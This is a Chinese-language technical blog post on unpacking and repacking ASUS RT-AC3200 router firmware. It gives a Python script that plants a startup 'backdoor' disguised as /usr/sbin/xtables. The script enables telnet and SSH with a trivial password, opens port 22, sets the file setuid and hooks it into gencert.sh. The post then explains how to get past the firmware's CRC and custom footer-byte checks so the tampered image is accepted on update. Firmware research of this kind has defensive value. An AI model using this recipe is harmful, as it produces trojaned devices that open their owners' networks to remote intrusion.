写在前面:华硕 AC 系列固件设备数量很多,,这篇文章对华硕 AC 系列固件进行了分析,并研究了其重打包方法。本篇文章以华硕 AC3200 固件为例。
1. 固件解包及基本结构解析
首先用 binwalk 对华硕 AC3200 固件进行扫描:
由 binwalk 扫描发现固件由 3 部分组成:TRX 头、内核以及文件系统构成。再拿 firmware-mod-kit 也解包扫描一下,最终可以发现其实这个固件是由 4 部分组成,文件系统中包含 FOOTER 字段(其实 FOOTER 字段就是文件系统的一部分):
- TRX 头
- 内核:偏移是 0x1C,范围是 0x1C-0x1AFD23
- 文件系统:偏移是 0x1AFD24,范围是 0x1AFD24-0x26C2B7F
- FOOTER:这个 footer 是 binwalk 扫描不出来的,是 firmware-mod-kit 扫描出来的,firmware-mod-kit 这个算法很奇怪,总体来说就是从尾部向上找,当发现固件末尾都是 00 但是其中混杂着非 00 的信息时,就认为是有 FOOTER 的。FOOTER 长度的计算方式也很有意思,从最末端开始向上找,每过一个字节,就 + 16,当找到那条非 00 的信息时结束。虽然不知道为什么这么计算,但是确实可以找到尾部的标志信息,具体的信息可以看一下 firmware-mod-kit 的具体算法,如图所示。拿 winhex 看一下固件,确实也发现了在尾部的 FOOTER 信息。
固件解包可以直接用 firmware-mod-kit 实现:
./extract-firmware.sh RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx
成功的进行了解包,解出来的文件系统存储在 fmk 文件夹下。下一步我们在该文件夹系统下添加后门,在这里直接在开机执行的 shell 脚本中添加我们需要执行的命令,在这里我们开启一个 ssh 连接,生成后门代码如下,功能即为开启 ssh:
import os
os.system("touch fmk/rootfs/usr/sbin/xtables")
os.system("echo 'sleep 120' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'nvram set sshd_enable=1' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'nvram set sshd_port_x=22' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'nvram set sshd_port=22' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'nvram set telnetd_enable=1' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'nvram set sshd_pass=1' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'service start_telnetd' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'service start_sshd' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'sleep 10' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'iptables -I INPUT -p tcp --dport 22 -j ACCEPT' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'sleep 30' >> fmk/rootfs/usr/sbin/xtables")
os.system("echo 'dropbear -a -p 22' >> fmk/rootfs/usr/sbin/xtables")
os.system("chmod 4777 fmk/rootfs/usr/sbin/xtables")
os.system("echo '/usr/sbin/xtables &' >> fmk/rootfs/usr/sbin/gencert.sh")
2. 固件打包
此时添加完后门后,我们利用 firmware-mod-kit 直接进行重打包:
./build_firmware.sh fmk/
这里直接进行重打包时,会报一个错误,如图:
由于加入了后门文件,导致现在的文件系统比原来的文件系统大,这样会重打包失败,因此我们可以缩减一下里面一些文件的大小,这里通过缩减所有图片的分辨率,来降低文件系统大小、
import os
def search(root, target):
items = os.listdir(root)
for item in items:
path = os.path.join(root, item)
if os.path.isdir(path):
search(path, target)
if target in path.split('/')[-1]:
os.system("convert " + path + " " + path + ".gif")
os.system("convert -strip -quality 75% " + path + ".gif " + path + ".gif")
os.system("rm " + path)
os.system("mv " + path + ".gif " + path)
search("fmk/rootfs/www/images/", ".png")
此时再次执行重打包,即可成功:
3. 固件校验
进行完固件重打包后,固件在更新上传时会有校验,校验的函数在 libshared.so 文件中,名为 check_imagefile。校验的关键代码如下:
发现主要是对固件做了两个校验,分别是 crc 校验和 trx 校验。分别对这两个校验进行一下解析。首先看一下 check_crc 函数。其校验代码如下,作用即为检查 trx 头部的 crc 字段。
其实 crc 字段在 firmware-mod-kit 打包时,就已经自动进行了更新,但是还是看一下其原理。check_crc 这个函数主要就是为读取了一下 TRX 头,然后对其中的某些字段做了校验。TRX 头部结构如下:
struct trx_header {
uint32_t magic; /* "HDR0" */
uint32_t len; /* Length of file including header */
uint32_t crc32; /* 32-bit CRC from flag_version to end of file */
uint32_t flag_version; /* 0:15 flags, 16:31 version */
uint32_t offsets[4]; /* Offsets of partitions from start of header */
};
由此可知,check_crc 应该就是检查的 TRX 头部的 crc32 字段,其中 crc32 字段存放的应该就是从 flag_version 至文件尾的 CRCC 校验值。我们这里拿 winhex 做一下计算,发现计算结果和 crc32 字段不一致,其实固件里存放的 crc32 字段是该计算结果取反后的。
2 进制 (原码) 1001 0001 1000 1000 0001 1010 1101 11102 进制 (按位取反) 0110 1110 0111 0111 1110 0101 0010 000116 进制 (原码) 91881ADE16 进制 (按位取反) 6E77E521
image
第二个校验函数为 check_trx 函数,虽然名为 check_trx,经过分析发现其是华硕自己设计的检查尾部某个字节的函数。这个函数的功能如下,看到其首先检查了一下 trx 头是否可读。将 trx 头部信息读取到了 v8 缓存中,根据 v8 和 v9 的栈上的偏移,可以得出 v9 即为 trx 头部信息的第二个字段,长度字段。因此可以得出 v9>0x8fdc30,之后在固件中,分别选取了两个位置的字节(0x24E4 和 0x8FDC30)进行了计算,并同固件中的某个位置的值做检查。简而言之就是计算得到的 v10,和其中原本存放的位置 a2 做检查,看是否相等。
下面我们需要确定一下这个计算得到的字节,到底存放在固件的哪个位置,我们知道这个字节存放在 a2 参数中,因此查看他的父函数 check_imagefile 函数(图在前面粘过),发现在父函数中,对应的变量为 v21。因此查看一下 v21 参数所在的栈位置。比较坑的是,在这里 ida 的解析出现了问题,解析出来了 v3 和 v4 两个指向 FILE 的指针,在这里结合 Ghidra 做一下分析:
根据分析可以发现,v3 打开了文件后,用 fseek 做了一下指针的移动,注意根据 fseek 函数定义,该指针是从文件尾开始移动的。之后用 fread 读取了 0x40 个字节至 v17 空间。根据 v17 和 v21 在栈上的偏移得知,二者相差 0x24,因此 v21 所在的字节就是从文件末尾起,0x40-0x24=0x1C 处。也就是固件 FOOTER 字段里的最后一个非 00 值。
int fseek(FILE *stream, long int offset, int whence)
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
offset -- 这是相对 whence 的偏移量,以字节为单位。
whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
SEEK_SET 文件的开头
SEEK_CUR 文件指针的当前位置
SEEK_END 文件的末尾
综上,我们知道,华硕会对固件中指定位置(0x24E4 和 0x8FDC30)的两个字节做一个计算:将后面那个字节按位取反然后和前面字节相加相加,之后将这个值存放到文件尾部,作为固件的防护手段。
我们用原先的 AC3200 固件做一下检查,其 0x24E4 和 0x8FDC30 字段分别存放着 0xD1 和 0x16,然后经过~0x16+0xD1 计算得到 0x1BA,取单字节为 0xBA,计算正确,因此重打包后的文件系统,经过计算将该字节修改正确即可。
综上,实现了最终的固件重打包,华硕固件结构比较简单,简而言之就是 TRX 头部 + 内核 + 文件系统(包含 FOOTER 字段)。重打包时只需要打包对应文件系统,然后添加内核和 TRX 头部,并且通过 CRC 校验和华硕自己涉及的尾部校验即可。
华硕
本作品采用《CC 协议》,转载必须注明作者和本文链接